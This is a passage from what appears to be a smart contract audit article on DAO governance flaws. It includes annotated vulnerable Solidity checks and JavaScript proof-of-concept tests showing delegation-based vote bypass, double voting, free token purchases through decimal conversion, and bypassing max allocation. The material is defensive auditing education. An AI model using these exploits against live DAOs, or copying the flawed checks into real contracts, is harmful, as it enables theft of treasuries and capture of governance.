<p>Smart contract auditors &amp; developers should ensure that the DAO can't enter a state where it is permanently impossible to reach quorum. Auditors should pay special attention to which elements are used in the denominator of the quorum calculation which represents the total voting power, especially if this is composed of multiple token types and features dynamically changing non-linear voting power. More examples: [<a target="_blank" href="https://solodit.xyz/issues/h-06-ethcrowdfundbasesol-totalvotingpower-is-increased-too-much-in-the-_finalize-function-code4rena-partydao-party-protocol-versus-contest-git">1</a>]</p>
<h3 id="heading-using-delegated-treasury-voting-power-to-get-more-delegated-treasury-voting-power">Using Delegated Treasury Voting Power To Get More Delegated Treasury Voting Power</h3>
<p>Advanced DAOs allow proposals that designate users as experts who receive delegated voting power directly from the DAO's treasury; this treasury delegated power should not be transferable by expert users who have received it, nor should expert users be able to further delegate it to other users.</p>
<p>Expert users should additionally be prohibited from using this delegated treasury voting power to vote on proposals that <a target="_blank" href="https://solodit.xyz/issues/users-can-use-delegated-treasury-voting-power-to-vote-on-proposals-that-give-them-more-delegated-treasury-voting-power-cyfrin-none-cyfrin-dexe-markdown">give themselves even more delegated treasury voting power</a>, or on proposals that remove it. These prohibitions ensure that experts wield their delegated treasury power purely at the good pleasure of the DAO collective, who remain the sovereign custodians of the DAO's treasury and its voting power. More examples: [<a target="_blank" href="https://solodit.xyz/issues/h01-the-approver-role-can-prevent-their-own-removal-openzeppelin-celo-contracts-audit-markdown">1</a>]</p>
<h3 id="heading-bypass-voting-restriction-via-delegation">Bypass Voting Restriction Via Delegation</h3>
<p>In Cyfrin's DeXe Protocol audit we found that DeXe contained a feature that allowed the proposal creator to prohibit certain users from voting on a proposal. However this was trivial to <a target="_blank" href="https://solodit.xyz/issues/attacker-can-use-delegation-to-bypass-voting-restriction-to-vote-on-proposals-they-are-restricted-from-voting-on-cyfrin-none-cyfrin-dexe-markdown">bypass via the delegation mechanism by delegating voting power to a slave address the prohibited user controls</a> and having the slave address vote with the full power of the prohibited user's delegated votes:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"audit bypass user restriction on voting via delegation"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">let</span> votingPower = wei(<span class="hljs-string">"100000000000000000000"</span>);
    <span class="hljs-keyword">let</span> proposalId  = <span class="hljs-number">1</span>;

    <span class="hljs-comment">// create a proposal where SECOND is restricted from voting</span>
    <span class="hljs-keyword">await</span> govPool.createProposal(
      <span class="hljs-string">"example.com"</span>,
      [[govPool.address, <span class="hljs-number">0</span>, getBytesUndelegateTreasury(SECOND, <span class="hljs-number">1</span>, [])]],
      []
    );

    <span class="hljs-comment">// if SECOND tries to vote directly this fails</span>
    <span class="hljs-keyword">await</span> truffleAssert.reverts(
      govPool.vote(proposalId, <span class="hljs-literal">true</span>, votingPower, [], { <span class="hljs-attr">from</span>: SECOND }),
      <span class="hljs-string">"Gov: user restricted from voting in this proposal"</span>
    );

    <span class="hljs-comment">// SECOND has another address SLAVE which they control</span>
    <span class="hljs-keyword">let</span> SLAVE = <span class="hljs-keyword">await</span> accounts(<span class="hljs-number">10</span>);

    <span class="hljs-comment">// SECOND delegates their voting power to SLAVE</span>
    <span class="hljs-keyword">await</span> govPool.delegate(SLAVE, votingPower, [], { <span class="hljs-attr">from</span>: SECOND });

    <span class="hljs-comment">// SLAVE votes on the proposal; votes "0" as SLAVE has no</span>
    <span class="hljs-comment">// personal voting power, only the delegated power from SECOND</span>
    <span class="hljs-keyword">await</span> govPool.vote(proposalId, <span class="hljs-literal">true</span>, <span class="hljs-string">"0"</span>, [], { <span class="hljs-attr">from</span>: SLAVE });

    <span class="hljs-comment">// verify SLAVE's voting</span>
    assert.equal(
      (<span class="hljs-keyword">await</span> govPool.getUserVotes(proposalId, SLAVE, VoteType.PersonalVote)).totalRawVoted,
      <span class="hljs-string">"0"</span> <span class="hljs-comment">// personal votes remain the same</span>
    );
    assert.equal(
      (<span class="hljs-keyword">await</span> govPool.getUserVotes(proposalId, SLAVE, VoteType.MicropoolVote)).totalRawVoted,
      votingPower <span class="hljs-comment">// delegated votes from SECOND now included</span>
    );
    assert.equal(
      (<span class="hljs-keyword">await</span> govPool.getTotalVotes(proposalId, SLAVE, VoteType.PersonalVote))[<span class="hljs-number">0</span>].toFixed(),
      votingPower <span class="hljs-comment">// delegated votes from SECOND now included</span>
    );

    <span class="hljs-comment">// SECOND was able to abuse delegation to vote on a proposal they were</span>
    <span class="hljs-comment">// restricted from voting on.</span>
});
</code></pre>
<p>Smart contract auditors &amp; DAO governance protocol developers should be conscious that any user can control an infinite number of addresses and that advanced features such as delegation can be used to bypass restrictions and prohibitions that some users may be under.</p>
<h3 id="heading-voting-with-same-tokens-multiple-times">Voting With Same Tokens Multiple Times</h3>
<p>If a user can vote with the same ERC20 or ERC721 tokens multiple times then even users with small voting power can decide the outcome of any proposal. A simple check DAOs can implement to counteract this is to allow users to only vote once per proposal and require them to cancel their existing vote to vote again on the same proposal. This can be bypassed by users voting then <a target="_blank" href="https://solodit.xyz/issues/m-06-after-endorsing-a-proposal-user-can-transfer-votes-to-another-user-for-endorsing-the-same-proposal-again-code4rena-olympus-dao-olympus-dao-contest-git">transferring their tokens</a> to another address they control, voting again from that address and repeating this process until quorum is reached. I actually <a target="_blank" href="https://twitter.com/DevDacian/status/1744502411572715798">reported this exact issue</a> in a live smart contract:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">voteOnProposal</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _proposalId, <span class="hljs-keyword">bool</span> _pass</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-comment">// @audit contracts prevented from voting stops flash loan exploits</span>
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>, <span class="hljs-string">"contracts cannot vote"</span>);
    <span class="hljs-built_in">require</span>(activeProposals.contains(_proposalId), <span class="hljs-string">"invalid proposal"</span>);

    <span class="hljs-comment">// @audit enforces minimum token holding required to vote</span>
    <span class="hljs-built_in">require</span>(checkVoteEligible(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>), <span class="hljs-string">"Ineligible"</span>);

    Proposal <span class="hljs-keyword">storage</span> proposal <span class="hljs-operator">=</span> proposals[_proposalId];
    ProposalVoters <span class="hljs-keyword">storage</span> proposalVoter <span class="hljs-operator">=</span> proposalVoters[_proposalId];

    <span class="hljs-comment">// @audit prevents same address from voting multiple times</span>
    <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>proposalVoter.voters.contains(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>), <span class="hljs-string">"already voted"</span>);
    proposalVoter.voters.add(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-comment">// @audit no token locking or snapshot mechanism. Same address</span>
    <span class="hljs-comment">// can have infinite voting power using the same tokens by transferring</span>
    <span class="hljs-comment">// their tokens to other addresses they control and voting with</span>
    <span class="hljs-comment">// those addresses. Since users can control an infinite number of</span>
    <span class="hljs-comment">// addresses, any user can continually recycle the same tokens to</span>
    <span class="hljs-comment">// have infinite voting power and decide any proposal </span>
    <span class="hljs-keyword">if</span>(_pass){
        proposal.voteFor <span class="hljs-operator">+</span><span class="hljs-operator">=</span> TOKEN.balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        proposalVoter.voteToPass[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    } <span class="hljs-keyword">else</span> {
        proposal.voteAgainst <span class="hljs-operator">+</span><span class="hljs-operator">=</span> TOKEN.balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        proposalVoter.voteToPass[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }
    <span class="hljs-keyword">emit</span> Voted(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, _proposalId, _pass);
}
</code></pre>
<p>To counteract token transfers some DAOs implement snapshots of voting power such that users can only vote with the tokens they owned at the time the proposal was created. Other DAOs that don't want to implement this constraint typically implement a locking mechanism where once a user votes with their tokens, those tokens will be locked such that they can't be transferred to another user until the proposal outcome has been decided.</p>
<p>Even when locking mechanisms are implemented for voting the same vulnerability can exist for similar actions such as vetoing; it may be possible to <a target="_blank" href="https://solodit.xyz/issues/h-08-vetoproposal-user-can-veto-multiple-times-so-every-proposal-can-be-vetoed-by-any-user-that-has-a-small-amount-of-votes-code4rena-partydao-party-protocol-versus-contest-git">veto a proposal multiple times using the same tokens</a> simply because the developer has not thought to implement the same locking mechanism that they implemented for voting.</p>
<p>If voting delegation is implemented, users may also be able to <a target="_blank" href="https://solodit.xyz/issues/h-04-erc721votes-token-owners-can-double-voting-power-through-self-delegation-code4rena-nouns-builder-nouns-builder-contest-git">double their voting power via self-delegation</a>. Self-delegation of voting power is something that should almost always be prohibited as it makes little sense and is ripe for exploitation. More examples: [<a target="_blank" href="https://solodit.xyz/issues/h-01-partygovernance-can-vote-multiple-times-by-transferring-nft-in-same-block-as-proposal-code4rena-partydao-partydao-contest-git">1</a>, <a target="_blank" href="https://solodit.xyz/issues/oracleremovemember-could-in-the-same-epoch-allow-members-to-vote-multiple-times-and-other-spearbit-liquid-collective-pdf">2</a>, <a target="_blank" href="https://solodit.xyz/issues/user-can-vote-multiple-times-through-delegation-halborn-thorstarter-governance-pdf">3</a>, <a target="_blank" href="https://solodit.xyz/issues/trustedoracle-nodes-can-vote-multiple-times-for-different-outcomes-consensys-rocketpool-markdown">4</a>, <a target="_blank" href="https://solodit.xyz/issues/double-voting-in-snapshoterc20guild-sigmaprime-none-dxdao-pdf">5</a>, <a target="_blank" href="https://solodit.xyz/issues/double-voting-by-delegaters-sigmaprime-none-tracer-pdf">6</a>, <a target="_blank" href="https://solodit.xyz/issues/double-voting-in-baseerc20guild-sigmaprime-none-dxdao-pdf">7</a>, <a target="_blank" href="https://solodit.xyz/issues/c-01-operators-can-cast-an-extra-vote-to-get-voting-majority-pashov-none-smoothly-markdown">8</a>]</p>
<h3 id="heading-voting-tokens-forever-locked-in-proposals-without-deadlines">Voting Tokens Forever Locked In Proposals Without Deadlines</h3>
<p>To prevent voting multiple times on the same proposal with the same tokens some method of token locking is usually implemented such that users who have voted on an active proposal are unable to withdraw or transfer those tokens until that proposal has been decided. If proposals don't have expiration deadlines they can remain active forever since quorum may never be reached; this results in a state where <a target="_blank" href="https://solodit.xyz/issues/h-01-in-governancesol-it-might-be-impossible-to-activate-a-new-proposal-forever-after-failed-to-execute-the-previous-active-proposal-code4rena-olympus-dao-olympus-dao-contest-git">voter's tokens will be permanently locked by never-ending proposals</a>.</p>
<p>DAO voting systems should implement proposal deadlines such that if quorum is not reached by a certain future timestamp, the proposal expires by moving to a <code>Defeated</code> end state allowing voters to unlock their voting tokens. More examples: [<a target="_blank" href="https://solodit.xyz/issues/m-21-olympusgovernance-active-proposal-does-not-expire-code4rena-olympus-dao-olympus-dao-contest-git">1</a>]</p>
<h3 id="heading-anyone-can-pass-proposals-before-dao-mints-voting-tokens">Anyone Can Pass Proposals Before DAO Mints Voting Tokens</h3>
<p>DAO voting tokens can be initially distributed in any number of ways; when a DAO has been created it may not necessarily have the voting tokens created at the same time. Because there can exist a period during which no voting tokens exist, special care must be taken when implementing checks on proposal creation, quorum and execution to ensure attackers can't manipulate the DAO during this time.</p>
<p>Examine these three checks for <a target="_blank" href="https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L164">proposal creation</a>, <a target="_blank" href="https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L217-218">quorum</a> &amp; <a target="_blank" href="https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/policies/Governance.sol#L268">execution</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit proposal creation check</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">submitProposal</span>(<span class="hljs-params">
    Instruction[] <span class="hljs-keyword">calldata</span> instructions_,
    <span class="hljs-keyword">bytes32</span> title_,
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> proposalURI_
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// @audit before voting tokens are minted:</span>
    <span class="hljs-comment">// 0 * 10000 &lt; 0</span>
    <span class="hljs-comment">// 0 &lt; 0 =&gt; false</span>
    <span class="hljs-comment">// fails to revert allowing proposal creation</span>
    <span class="hljs-comment">// when no voting tokens have been minted</span>
    <span class="hljs-keyword">if</span> (VOTES.balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">*</span> <span class="hljs-number">10000</span> <span class="hljs-operator">&lt;</span> VOTES.totalSupply() <span class="hljs-operator">*</span> SUBMISSION_REQUIREMENT)
        <span class="hljs-keyword">revert</span> NotEnoughVotesToPropose();

<span class="hljs-comment">// @audit proposal quorum check</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">activateProposal</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> proposalId_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// @audit before voting tokens are minted:</span>
    <span class="hljs-comment">// 0 * 100 &lt; 0 * ENDORSEMENT_THRESHOLD</span>
    <span class="hljs-comment">// 0 &lt; 0 =&gt; false</span>
    <span class="hljs-comment">// fails to revert allowing quorum to be reached</span>
    <span class="hljs-comment">// when no voting tokens have been minted</span>
    <span class="hljs-keyword">if</span> ((totalEndorsementsForProposal[proposalId_] <span class="hljs-operator">*</span> <span class="hljs-number">100</span>) <span class="hljs-operator">&lt;</span>
        VOTES.totalSupply() <span class="hljs-operator">*</span> ENDORSEMENT_THRESHOLD
    ) {
        <span class="hljs-keyword">revert</span> NotEnoughEndorsementsToActivateProposal();
    }

<span class="hljs-comment">// @audit proposal execution check</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">executeProposal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-comment">// @audit netVotes = 0 - 0 = 0 before voting tokens minted</span>
    <span class="hljs-keyword">uint256</span> netVotes <span class="hljs-operator">=</span> yesVotesForProposal[activeProposal.proposalId] <span class="hljs-operator">-</span>
        noVotesForProposal[activeProposal.proposalId];

    <span class="hljs-comment">// @audit before voting tokens minted:</span>
    <span class="hljs-comment">// 0 * 100 &lt; 0 * EXECUTION_THRESHOLD</span>
    <span class="hljs-comment">// 0 &lt; 0 =&gt; false</span>
    <span class="hljs-comment">// fails to revert allowing proposal execution</span>
    <span class="hljs-comment">// when no voting tokens have been minted</span>
    <span class="hljs-keyword">if</span> (netVotes <span class="hljs-operator">*</span> <span class="hljs-number">100</span> <span class="hljs-operator">&lt;</span> VOTES.totalSupply() <span class="hljs-operator">*</span> EXECUTION_THRESHOLD) {
        <span class="hljs-keyword">revert</span> NotEnoughVotesToExecute();
    }
</code></pre>
<p>These checks fail to account for the state before the minting of voting tokens. This means that <a target="_blank" href="https://solodit.xyz/issues/h-02-anyone-can-pass-any-proposal-alone-before-first-votes-are-minted-code4rena-olympus-dao-olympus-dao-contest-git">before voting tokens have been minted anyone can create, pass &amp; execute any proposal</a> potentially being able to drain the DAO of any initial funds having been deposited or manipulate DAO settings.</p>
<p>DAO protocol developers &amp; smart contract auditors should ensure that the voting systems function correctly at edge cases such as before the minting of voting tokens.</p>
<h3 id="heading-attacker-can-steal-tokens-from-token-sale-proposal">Attacker Can Steal Tokens From Token Sale Proposal</h3>
<p>DAOs can implement token sale proposals as a way to distribute DAO tokens to users, defining a set of purchase tokens with exchange rates that users are permitted to swap for the DAO token being sold. When implementing these token sale proposals special care must be taken as the purchase tokens and the sale token can have different decimal precisions.</p>
<p>In Cyfrin's DeXe Protocol audit we noticed that DeXe had made an interesting design decision: for most functions the responsibility was on users to call those functions with amounts formatted in 18 decimal precision, even if the underlying token did not have 18 decimal precision. Consider the <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol#L85-L92">code</a> used when users pay to purchase the DAO token with a user-supplied ERC20 payment token:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit when called for users buying the DAO token in sale proposal:</span>
<span class="hljs-comment">// token  = token that user is paying with</span>
<span class="hljs-comment">// to     = DAO gov adress</span>
<span class="hljs-comment">// amount = user input amount which DeXe is expecting to already be</span>
<span class="hljs-comment">//          formatted in 18 decimals</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_sendFunds</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> token, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
    <span class="hljs-comment">// @audit if payment token has less than 18 decimals (eg USDC),</span>
    <span class="hljs-comment">// attacker can send amount in 6 decimals which will result in</span>
    <span class="hljs-comment">// this attempted conversion returning 0. Hence the call will be:</span>
    <span class="hljs-comment">// safeTransferFrom(attacker, daoGovAddress, 0)</span>
    <span class="hljs-comment">// meaning attacker "buys" DAO tokens for free!</span>
    IERC20(token).safeTransferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, to, amount.from18(token.decimals()));
}
</code></pre>
<p>This code assumes that the supplied amount is in 18 decimal precision and attempts to <a target="_blank" href="https://github.com/dl-solarity/solidity-lib/blob/master/contracts/libs/utils/DecimalsConverter.sol#L102">convert</a> it into the native precision of the token the user is paying with; the <code>from18()</code> function will happily return 0 if that is the result of the conversion.</p>
<p>A clever attacker can take advantage of this by sending an input amount that when this conversion occurs will cause <code>from18()</code> to return 0 such that the transfer will attempt and succeed at transferring 0 tokens, allowing the <a target="_blank" href="https://solodit.xyz/issues/tokensaleproposalbuy-implicitly-assumes-that-buy-token-has-18-decimals-resulting-in-a-potential-total-loss-scenario-for-dao-pool-cyfrin-none-cyfrin-dexe-markdown">attacker to "purchase" the DAO tokens being sold for free</a>. Consider our PoC scenario where the DAO token being sold has 18 decimal places, the purchasing token has 6 decimal places and a 1:1 exchange rate is being used:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">await</span> purchaseToken3.approve(tsp.address, wei(<span class="hljs-number">1000</span>));

    <span class="hljs-comment">// tier9 has the following parameters:</span>
    <span class="hljs-comment">// totalTokenProvided   : wei(1000)</span>
    <span class="hljs-comment">// minAllocationPerUser : 0 (no min)</span>
    <span class="hljs-comment">// maxAllocationPerUser : 0 (no max)</span>
    <span class="hljs-comment">// exchangeRate         : 1 sale token for every 1 purchaseToken</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// purchaseToken3 has 6 decimal places</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// mint purchase tokens to owner 1000 in 6 decimal places</span>
    <span class="hljs-comment">//                        1000 000000</span>
    <span class="hljs-keyword">let</span> buyerInitTokens6Dec = <span class="hljs-number">1000000000</span>;

    <span class="hljs-keyword">await</span> purchaseToken3.mint(OWNER, buyerInitTokens6Dec);
    <span class="hljs-keyword">await</span> purchaseToken3.approve(tsp.address, buyerInitTokens6Dec, { <span class="hljs-attr">from</span>: OWNER });

    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// start: buyer has bought no tokens</span>
    <span class="hljs-keyword">let</span> TIER9 = <span class="hljs-number">9</span>;
    <span class="hljs-keyword">let</span> purchaseView = userViewsToObjects(<span class="hljs-keyword">await</span> tsp.getUserViews(OWNER, [TIER9]))[<span class="hljs-number">0</span>].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(<span class="hljs-number">0</span>));

    <span class="hljs-comment">// buyer attempts to purchase using 100 purchaseToken3 tokens</span>
    <span class="hljs-comment">// purchaseToken3 has 6 decimals but all inputs to Dexe should be in</span>
    <span class="hljs-comment">// 18 decimals, so buyer formats input amount to 18 decimals</span>
    <span class="hljs-comment">// doing this first to verify it works correctly</span>
    <span class="hljs-keyword">let</span> buyInput18Dec = wei(<span class="hljs-string">"100"</span>);
    <span class="hljs-keyword">await</span> tsp.buy(TIER9, purchaseToken3.address, buyInput18Dec);

    <span class="hljs-comment">// buyer has bought wei(100) sale tokens</span>
    purchaseView = userViewsToObjects(<span class="hljs-keyword">await</span> tsp.getUserViews(OWNER, [TIER9]))[<span class="hljs-number">0</span>].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, buyInput18Dec);

    <span class="hljs-comment">// buyer has 900 000000 remaining purchaseToken3 tokens</span>
    assert.equal((<span class="hljs-keyword">await</span> purchaseToken3.balanceOf(OWNER)).toFixed(), <span class="hljs-string">"900000000"</span>);

    <span class="hljs-comment">// next buyer attempts to purchase using 100 purchaseToken3 tokens</span>
    <span class="hljs-comment">// but sends input formatted into native 6 decimals</span>
    <span class="hljs-comment">// sends 6 decimal input: 100 000000</span>
    <span class="hljs-keyword">let</span> buyInput6Dec = <span class="hljs-number">100000000</span>;
    <span class="hljs-keyword">await</span> tsp.buy(TIER9, purchaseToken3.address, buyInput6Dec);

    <span class="hljs-comment">// buyer has bought an additional 100000000 sale tokens</span>
    purchaseView = userViewsToObjects(<span class="hljs-keyword">await</span> tsp.getUserViews(OWNER, [TIER9]))[<span class="hljs-number">0</span>].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, <span class="hljs-string">"100000000000100000000"</span>);

    <span class="hljs-comment">// but the buyer still has 900 000000 remaining purchasetoken3 tokens</span>
    assert.equal((<span class="hljs-keyword">await</span> purchaseToken3.balanceOf(OWNER)).toFixed(), <span class="hljs-string">"900000000"</span>);

    <span class="hljs-comment">// by sending the input amount formatted to 6 decimal places,</span>
    <span class="hljs-comment">// the buyer was able to buy small amounts of the token being sold</span>
    <span class="hljs-comment">// for free!</span>
});
</code></pre>
<p>When DAOs implement token sale systems they must carefully consider how to correctly handle swaps between tokens with different decimal precisions. Ideally, the DAO would handle all decimal conversions such that users could interact with the DAO passing input amounts in the native decimals of the token they are using and the DAO takes care of all required conversions. DAO developers should be especially alert when conversions return 0 and carefully consider the implications of letting transactions continue in this case.</p>
<h3 id="heading-attacker-can-bypass-token-sale-max-allocation-per-user">Attacker Can Bypass Token Sale Max Allocation Per User</h3>
<p>When DAOs implement token sale proposals to distribute the DAO token to users, it is important to limit the supply that any individual user can buy to limit the voting power each user will be able to command. As any user can control an infinite number of addresses, such token sales typically have restrictions such as whitelists and token locking requirements so that only a fixed set of addresses can participate in the token sale.</p>
<p>For the addresses that meet the requirements to participate in the token sale, another restriction is <code>maxAllocationPerUser</code>: the maximum amount that any user who qualifies to participate can buy. Consider this <a target="_blank" href="https://github.com/dexe-network/DeXe-Protocol/tree/f2fe12eeac0c4c63ac39670912640dc91d94bda5/contracts/libs/gov/token-sale-proposal/TokenSaleProposalBuy.sol#L115-L120">check</a> from Cyfrin's DeXe Protocol audit that is made during every attempted purchase:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(
    <span class="hljs-comment">// @audit if maxAllocationPerUser == 0 not enforced</span>
    tierInitParams.maxAllocationPerUser <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span>
    <span class="hljs-comment">// @audit if maxAllocationPerUser &gt; 0 attempt to check:</span>
    <span class="hljs-comment">// 1) sale is greater than the minimum</span>
        (tierInitParams.minAllocationPerUser <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> saleTokenAmount <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
    <span class="hljs-comment">// 2) sale is smaller than the max allocation per user</span>
         saleTokenAmount <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> tierInitParams.maxAllocationPerUser),
    <span class="hljs-comment">// the problem is that the entire amount the user has bought so</span>
    <span class="hljs-comment">// far is never added to the current amount to be bought, so</span>
    <span class="hljs-comment">// users can trivially bypass this check by doing several smaller</span>
    <span class="hljs-comment">// txns under the limit to buy out the entire token allocation</span>
    <span class="hljs-string">"TSP: wrong allocation"</span>
);
</code></pre>
<p>If the <code>maxAllocationPerUser</code> restriction is in effect (<code>maxAllocationPerUser &gt; 0</code>) then this code checks if the current amount being purchased is smaller or equal to <code>maxAllocationPerUser</code>, but never considers the amount already purchased by the same user from the same token sale but in previous transactions.</p>
<p>Hence it is trivial for any user to <a target="_blank" href="https://solodit.xyz/issues/attacker-can-bypass-token-sale-maxallocationperuser-restriction-to-buy-out-the-entire-tier-cyfrin-none-cyfrin-dexe-markdown">bypass the token sale <code>maxAllocationPerUser</code> restriction</a> by doing several smaller transactions each under <code>maxAllocationPerUser</code> to buy out the entire token allocation:</p>
<pre><code class="lang-javascript">it(<span class="hljs-string">"attacker can bypass token sale maxAllocationPerUser to buy out the entire tier"</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">await</span> purchaseToken1.approve(tsp.address, wei(<span class="hljs-number">1000</span>));

    <span class="hljs-comment">// tier8 has the following parameters:</span>
    <span class="hljs-comment">// totalTokenProvided   : wei(1000)</span>
    <span class="hljs-comment">// minAllocationPerUser : wei(10)</span>
    <span class="hljs-comment">// maxAllocationPerUser : wei(100)</span>
    <span class="hljs-comment">// exchangeRate         : 4 sale tokens for every 1 purchaseToken</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// one user should at most be able to buy wei(100),</span>
    <span class="hljs-comment">// or 10% of the total tier.</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// any user can bypass this limit by doing multiple</span>
    <span class="hljs-comment">// smaller buys to buy the entire tier.</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// start: user has bought no tokens</span>
    <span class="hljs-keyword">let</span> TIER8 = <span class="hljs-number">8</span>;
    <span class="hljs-keyword">let</span> purchaseView = userViewsToObjects(<span class="hljs-keyword">await</span> tsp.getUserViews(OWNER, [TIER8]))[<span class="hljs-number">0</span>].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(<span class="hljs-number">0</span>));

    <span class="hljs-comment">// if the user tries to buy it all in one txn,</span>
    <span class="hljs-comment">// maxAllocationPerUser is enforced and the txn reverts</span>
    <span class="hljs-keyword">await</span> truffleAssert.reverts(tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">250</span>)), <span class="hljs-string">"TSP: wrong allocation"</span>);

    <span class="hljs-comment">// but user can do multiple smaller buys to get around the</span>
    <span class="hljs-comment">// maxAllocationPerUser check which only checks each</span>
    <span class="hljs-comment">// txn individually, doesn't factor in the total amount</span>
    <span class="hljs-comment">// user has already bought</span>
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));
    <span class="hljs-keyword">await</span> tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>));

    <span class="hljs-comment">// end: user has bought wei(1000) tokens - the entire tier!</span>
    purchaseView = userViewsToObjects(<span class="hljs-keyword">await</span> tsp.getUserViews(OWNER, [TIER8]))[<span class="hljs-number">0</span>].purchaseView;
    assert.equal(purchaseView.claimTotalAmount, wei(<span class="hljs-number">1000</span>));

    <span class="hljs-comment">// attempting to buy more fails as the entire tier</span>
    <span class="hljs-comment">// has been bought by the single user</span>
    <span class="hljs-keyword">await</span> truffleAssert.reverts(
      tsp.buy(TIER8, purchaseToken1.address, wei(<span class="hljs-number">25</span>)),
      <span class="hljs-string">"TSP: insufficient sale token amount"</span>
    );
});
</code></pre>
<p>Smart contract auditors should check whether they can bypass restrictions on one big transaction through multiple smaller transactions.</p>
<h3 id="heading-heuristics-to-find-similar-exploits">Heuristics To Find Similar Exploits</h3>
<p>Smart contract auditors can use the following heuristics to find similar exploits. These heuristics are intentionally phrased as questions to prompt your mind to challenge the code:</p>
<ol>
<li><p>do many small operations result in the same effect as one large operation?</p>
</li>
<li><p>are there similar but slightly different checks in different places ("&lt;" vs "&lt;=")? If so, can this be exploited with an attack that occurs in that gap?</p>
</li>
<li><p>does "total" (stored in its own storage location) equal the sum of all individual user values (stored in a mapping) at all times? What about at snapshot time?</p>
</li>
